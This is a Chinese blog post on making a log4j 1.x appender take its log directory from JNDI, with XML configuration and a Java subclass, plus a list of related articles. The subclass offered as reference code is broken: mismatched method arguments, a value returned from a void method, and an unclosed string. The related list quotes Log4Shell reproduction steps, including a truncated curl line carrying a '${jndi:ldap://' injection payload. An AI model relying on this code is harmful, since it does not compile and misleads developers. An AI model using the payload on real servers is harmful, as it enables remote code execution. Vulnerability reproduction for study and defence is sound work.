Web应用中Log4j与JNDI结合2 -- JNDI指定日志路径

Log4j2日志框架JNDI注入漏洞分析与复现 1、漏洞背景 大家在实际开发中,几乎无可避免的需要用到日志框架,不管你是前端后端客户端,他们可以追踪和记录我们的程序运行中的信息,我们可以利用日志很快定位问题,追踪分析。 而对于Java开发人员来说,最常用的日志框架便是Log4j2和logback,而本次漏洞的主角便是Apache Log4j2,它有一个特别强大的功能插件Lookups 如果我们试图通过日志去输出一个程序中不存在的对象,而在其他地方,那么我们便可以通过这个插件去通过某些方式去查找目标内容,它只提供一种规范,具体使用哪些方式去查找 阅读详情

在Web应用中Log4j与JNDI结合1 – JNDI指定配置文件一文中,我展示了如何通过定制ServletListener来从JNDI指定地址读取log4j配置文件。这一篇我来讲解如何通过JNDI指定日志路径。普通的log4j appender没有办法处理JNDI相关的日志文件。同ServletListener定制一样,我们要定制Appender。这里以DailyRollingFileAppender为例。普通按照天来自动截断,例如:

<appender name="FILE" class="org.apache.log4j.DailyRollingFileAppender">
    <param name="file" value="default.log" />
    <param name="append" value="false" />
    <param name="datePattern" value="'.'yyyy-MM-dd" />
    <layout class="org.apache.log4j.PatternLayout">
      <param name="ConversionPattern" value="%d{ABSOLUTE} [%-5p] [%t] [%c{1}] %m%n" />
    </layout>
  </appender>

通过Log4j源码分析(org.apache.log4j.LogManager.java, org.apache.log4j.xml.DOMConfigurator.java and DailyRollingFileAppender.java),我们可以知道,在Web应用XML的配置方式下,LogManager.java的static初始化块会根据log4j.configuration的配置,通过org.apache.log4j.helpers.OptionConverter.selectAndConfigure方法找到对应的log4j xml配置文件,然后通过Call org.apache.log4j.xml.DOMConfigurator.java的doConfigure方法,去到parse方法,根据Logger和Root node的APPENDER_REF_TAG调用findAppenderByReference,最后在parseAppender 中把param配置赋值给appender的属性,然后通过调用appender的activeOptions来打开日志记录文件。

DailyRollingFileAppender.java
public void setFile(String file) {
    // Trim spaces from both ends. The users probably does not want
    // trailing spaces in file names.
    String val = file.trim();
    fileName = val;
  }

public void activateOptions() {
    //based on fileName to open log file
    super.activateOptions();
    if(datePattern != null && fileName != null) {
      now.setTime(System.currentTimeMillis());
      sdf = new SimpleDateFormat(datePattern);
      int type = computeCheckPeriod();
      printPeriodicity(type);
      rc.setType(type);
      File file = new File(fileName);
      scheduledFilename = fileName+sdf.format(new Date(file.lastModified()));

    } else {
      LogLog.error("Either File or DatePattern options are not set for appender ["
           +name+"].");
    }
  }

那么想通过jndi来指定日志文件,就是要给修改对filename赋值。简单实现可以通过继承DailyRollingFileAppender,在新的子类(JndiDailyRollingFileAppender )中加入新的属性jndiDirURL来接受JNDI指定日志路径文件夹(在xml配置中必须放在file参数之前),然后重写filename赋值的setFile方法,获取基于JNDI的完整文件路径。列出参考代码如下:

public class JndiDailyRollingFileAppender extends DailyRollingFileAppender  {
   private String jndiDirURL;
   public void setJndiDirURL(String jndiDirURL){
       this.jndiDirURL= jndiDirURL;
   }
   public String getJndiDirURL(){
       return this.jndiDirURL;
   }
   public JndiDailyRollingFileAppender (String jndiDirURL, Layout layout, String filename, String datePattern) throws IOException {
       super(layout, getAbsoluteName(jndiDirURL,filename), datePattern);
   }
   private String getAbsoluteName(String filename){
       try{
        Context ic = new InitialContext();
        String parent= ((URL)ic.lookup(jndiDirURL)).toExternalForm();
        String absolutePath = parent + File.separator + filename;
        return absolutePath;
        }catch(Exception e){
           LOG.error("unable to find jndidirurl: {}, JndiDirURL);
           return filename;
        }
  }

   @Override
   public void setFile(String file) {
      return super.setFile(getAbsoluteName(file));
   }
}

对应的log4j.xml中的配置文件如下:

<appender name="default" class="com.demo.JndiDailyRollingFileAppender">
    <param name="jndiDirURL" value="java:comp/env/demo_log" />
    <param name="file" value="default.log" />
    <param name="append" value="false" />
    <param name="datePattern" value="'.'yyyy-MM-dd" />
    <layout class="org.apache.log4j.PatternLayout">
      <param name="ConversionPattern" value="%d{ABSOLUTE} [%-5p] [%t] [%c{1}] %m%n" />
    </layout>
  </appender>
东方通TongWeb多应用部署实战:规划、配置与运维指南 在企业级Java应用部署中,应用服务器作为核心运行时容器,其资源管理与多应用部署能力直接影响IT架构的效率和成本。通过资源池化与统一管理,可以在单台服务器上高效运行多个Web应用,从而显著提升硬件利用率并降低运维复杂度。这一技术实践对于微服务架构下的模块化部署、前后端分离项目以及多业务线系统整合具有重要价值。其核心在于妥善处理端口、上下文路径、会话及资源隔离等关键技术细节。本文以广泛应用的东方通TongWeb服务器为例,深入探讨了多应用部署的规划原则、三种主流部署方法(自动部署、server.xml配置、独 阅读详情

相关推荐

Log4Shell漏洞检测器原理、部署与实战指南

在网络安全领域,漏洞检测是识别和防御潜在攻击的关键环节。其核心原理在于通过分析网络流量、系统日志或应用程序行为,匹配已知的攻击模式或异常特征。从技术价值看,高效的检测工具能极大提升安全运维的响应速度,帮助企业在漏洞被大规模利用前进行预警和处置。常见的应用场景包括实时网络入侵检测、安全事件回溯分析以及合规性审计。针对Log4Shell这类影响广泛的远程代码执行漏洞,专用的检测器通过深度解析JNDI注入等流量特征,结合上下文关联分析,能有效在海量数据中定位恶意利用行为。本文以log4shell-detector

weixin_34006965的博客 372

扩展Log4j支持JNDI数据源

log4j.properties配置文件: log4j.rootLogger=INFO,db #使用log4j扩展支持JNDI数据源 log4j.appender.db=com.qdgswx.log4j.ds.JndiDSAppender log4j.appender.db.jndiName=wstjndi log4j.appender.db.BufferSize=1 log4...

weixin_33816821的博客 342

Java Web项目部署实战:从Tomcat到Docker的完整指南

在软件开发生命周期中,部署是将应用程序从开发环境迁移到生产环境的关键环节,它直接决定了服务的可用性与可访问性。其核心原理在于构建一个标准化的运行时环境,将源代码、依赖和配置组装成可对外提供网络服务的成品。这一过程的技术价值在于实现了开发与运维的衔接,保障了应用的稳定、安全运行。典型的应用场景包括企业级Web应用、微服务架构的后端服务等。本文聚焦于Java Web项目的部署实践,深入讲解了基于Servlet容器(如Tomcat)的传统部署方法,涵盖了环境准备、项目打包、配置分离等核心步骤。同时,也探讨了现代化

weixin_34268579的博客 365

log4j jndi注入漏洞

JNDI、LDAP、log for java: log4j Java程序日志监控组件

Ye的博客 1581

Suricata规则深度解析:从字符串匹配到协议语义检测

网络入侵检测规则本质上是将原始流量转化为可理解攻击意图的语义翻译器。其核心原理在于协议解析引擎与规则引擎解耦,通过HTTP/2、TLS 1.3、DNS over HTTPS等应用层语义对象实现精准匹配,而非传统‘高级grep’式字节流扫描。这种架构赋予Suricata对加密流量(如SNI、JA3指纹)、状态化会话(flow修饰符)和分层防御(预过滤+精确匹配)的技术能力,显著提升检测精度与生产环境可用性。典型应用场景包括Webshell识别、Log4j RCE检测、DNS隧道发现及Cobalt Strike

weixin_30267785的博客 347

Log4j2的JNDI注入漏洞原理分析与思考

前言 最近Log4j2的JNDI注入漏洞(CVE-2021-44228)可以称之为“核弹”级别。Log4j2作为类似JDK级别的基础类库,几乎没人能够幸免。极盾科技技术总监对该漏洞进行复现和分析其形成原理。在此分享。 以下涉及的代码,均在mac OS 10.14.5,JDK1.8.0_91环境下成功运行。 一、 前置知识 1.1 Log4j2 Log4j2是一个Java日志组件,被各类Java框架广泛地使用。它的前身是Log4j,Log4j2重新构建和设计了框架,可以认为两者是完全独立的两个日志组

uuuyy_的博客 3042

JAVA安全之Log4j-Jndi注入原理以及利用方式

JDNI(Java Naming and Directory Interface)是Java命名和目录接口,它提供了统一的访问命名和目录服务的API。JDNI主要通过JNDI SPI(Service ProviderInterface)规范来实现,该规范定义了对JNDI提供者应实现的接口。在JNDI体系中,JNDI提供者是指实际提供命名和目录服务的软件组件。JNDISPI规范包含了多个接口,其中最为重要的是Context接口。

qq_53058639的博客 1424

微信DAT图片恢复全攻略:从文件路径到批量解密(附最新工具下载)

本文详细介绍了微信DAT图片恢复的全过程,从文件路径定位到批量解密操作,帮助用户高效恢复加密存储的图片。文章涵盖新旧版本微信的存储结构差异,推荐使用专业解密工具进行批量转换,并提供了提升恢复成功率的实用技巧和常见问题解决方案。

weixin_29325007的博客 455

JNDI RMI 注入(Log4j2漏洞)

目录 ■相关知识 1.SLF4J(Simple logging Facade for Java) // 简单日志门面 ■(log4j2)漏洞 ■JNDI 注入代码实现(RMI) ■代码细节说明 1.javax.naming.Reference // 构造方法 2.代码中使用的服务如何构建 SimpleHTTPServer // (Python)快速共享目录 3.RMI的利用版本限制 4.问答 5.RMI(Remote Method Invocation)为远程方法调用 ●在攻击..

sun0322 1万+

工业4.0 底层逻辑

工业4.0 的概念已经被滥用了,它与物联网,工业物联网等概念一样,几乎什么都往里面装。演变成了一句口号和愿景。许多人并不清楚工业4.0的底层逻辑到底是什么?如何遵循工业4.0 的思想构建新一代智能制造系统?并没用清晰地展示工业4.0的技术路线图。

姚家湾博客 1993

S32K3双核实战:手把手教你用EB配置CAN与CANFD(附中断/轮询代码对比)

本文详细解析了NXP S32K3双核处理器在CAN/CANFD通信开发中的实战应用。通过Elektrobit配置工具链,从双核通信架构设计到EB tresos Studio配置全流程,再到中断与轮询模式的代码实现对比,全面指导开发者优化S32K3 FlexCAN模块性能,提升汽车电子系统的通信效率与可靠性。

weixin_30955617的博客 440

Log4j2与JNDI结合

Log4j2和JNDI结合指定配置文件路径和日志文件

cloud的技术积累 4631

AI 大模型在电商精准营销中的应用

例如,对于用户 A 和用户 B,通过比较他们对共同评价过的商品的评分差异来确定相似度。其中,(Gain(D,a))表示特征(a)对数据集(D)的信息增益,(Ent(D))表示数据集(D)的信息熵,(V)表示特征(a)的取值个数,(D^{v})表示特征(a)取值为(v)的样本子集。其中,(sim(A,B))表示用户 A 和用户 B 的相似度,(I)表示用户 A 和用户 B 共同评价过的商品集合,(R_{A,i})和(R_{B,i})分别表示用户 A 和用户 B 对商品(i)的评分。(三)营销活动效果预测。

alittlehippo的博客 1627

SecGPT-14B效果展示:支持中文安全术语与英文CVE混用提问,理解准确率91.5%

本文介绍了专为网络安全设计的AI大模型SecGPT-14B,其核心优势在于能精准理解中英文术语混用的复杂提问。用户可在星图GPU平台上自动化部署该镜像,快速搭建智能安全分析环境,典型应用场景包括自动化代码安全审计与漏洞分析,有效辅助安全工程师提升工作效率。

weixin_42462474的博客 18

Python与CAD系列基础篇(二)创建点和直线并修改样式

①通过pyautocad连接AutoCAD进行处理②通过ezdxf处理dxf格式文件。创建和编辑点和直线的方法,并演示如何修改它们的样式、颜色和线型。

weixin_43894929的博客 3036

SAP-MM-采购过账接口(与WMS集成)-代码

1、判断传入值非空检验; 2、判断过账日期是否允许在当前期间; 3、判断是否为集采订单业务,是否审批完成; 4、判断是否发布标准成本发布(此业务场景与价格控制3+S有关) 5、保存日志表; 6、判断业务公司订单审批状态; 7、创建STO交货单、集采公司订单过账、STO公司间创建交货单、交货单过账(两步法)、过账失败回滚(冲销交货、删除交货单、冲销集采入库)

qq_32198063的博客 420

Web应用中Log4j与JNDI结合1 -- JNDI指定配置文件

Web应用中Log4j和JNDI结合指定Log4j配置文件和Log路径第一步:JNDI指定配置文件

cloud的技术积累 1952

基于Python的股票K线图爬取与形态识别系统

本文详细介绍了一个基于Python的股票K线图爬取与形态识别系统。该系统通过网络爬虫技术获取股票历史数据,使用Matplotlib生成K线图,并应用卷积神经网络(CNN)对经典K线形态进行识别。文章详细阐述了数据采集、K线图生成、CNN模型构建与训练的完整流程,并提供了完整的代码实现。本研究为金融科技领域的毕业设计提供了有价值的参考方案。关键词:Python爬虫、K线图、卷积神经网络、形态识别、股票交易。

2201_76125261的博客 1033

记录一次针对log4j的jndi注入攻击

事件经过 今天一到公司就被钉钉监控报警群@了,报错类型如下图所示: com.mysql.jdbc.MysqlDataTruncation:Data truncation:Data too long for column这个错误很常见,就是插入数据到数据库中,字段长度超过了数据库限制的长度。 于是我就去skywalking上找日志,看到底是什么参数超过了长度限制,于是我找到了报错的链路看到了网关打印的日志信息如下: 重点看我红线框出的部分,这一看就不是一个正常的传参,看起来像是某种攻击。 由此让我联想到,

大兵的博客 3834

【Matlab】如何使用Simulink进行电池建模和SOC预估

“通过Simulink电池建模进行SOC预估,其实挺容易!” 1 声明 本文只描述一般性电池建模方法,文中出现的电池相关数据来自一些论文或者外文文献,对数据的真实性不做任何保证。 本文参考了不少国内高校的硕士论文和外文文献,所以本篇文章只作为学术性交流,未经...

wanff1204的博客 2万+

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

Apache Log4j 漏洞(JNDI注入 CVE-2021-44228)

影响范围 2.0 <= Apache log4j <= 2.14.1 利用 import org.apache.log4j.Logger; import java.io.*; import java.sql.SQLException; import java.util.*; public class VulnerableLog4jExampleHandler implements HttpHandler { static Logger log = Logger.getLogger(l

小龙在线 3万+

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

log4j2 JNDI注入复现

复现现象: 这个镜像使用了log4j2用来当做靶机程序 1、拉取一个docker镜像 docker pull vulfocus/log4j2-rce-2021-12-09 2、跑起来docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09 3、进入这个平台 https://log.xn–9tr.com/ 点击获取一个域名 4、执行一个post curl -X POST -F “payload=${jndi:ldap://

qq_20504373的博客 6695

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

log4j jndi 漏洞解决办法

log4j jndi 漏洞解决办法

fuyun996的专栏 4837

Apache Log4j任意代码执行漏洞安全风险通告第三次更新

奇安信CERT致力于第一时间为企业级用户提供安全风险通告和有效解决方案。风险通告近日,奇安信CERT监测到Apache Log4j存在任意代码执行漏洞。经过分析,该组件存在Java JND...

smellycat000的专栏 4665
上一篇: Web应用中Log4j与JNDI结合1 -- JNDI指定配置文件
下一篇: WAS(Websphere) 7升级到8.5遇到的头疼Verify Error问题
开心的D哥
博客等级 码龄22年 63粉丝 110原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值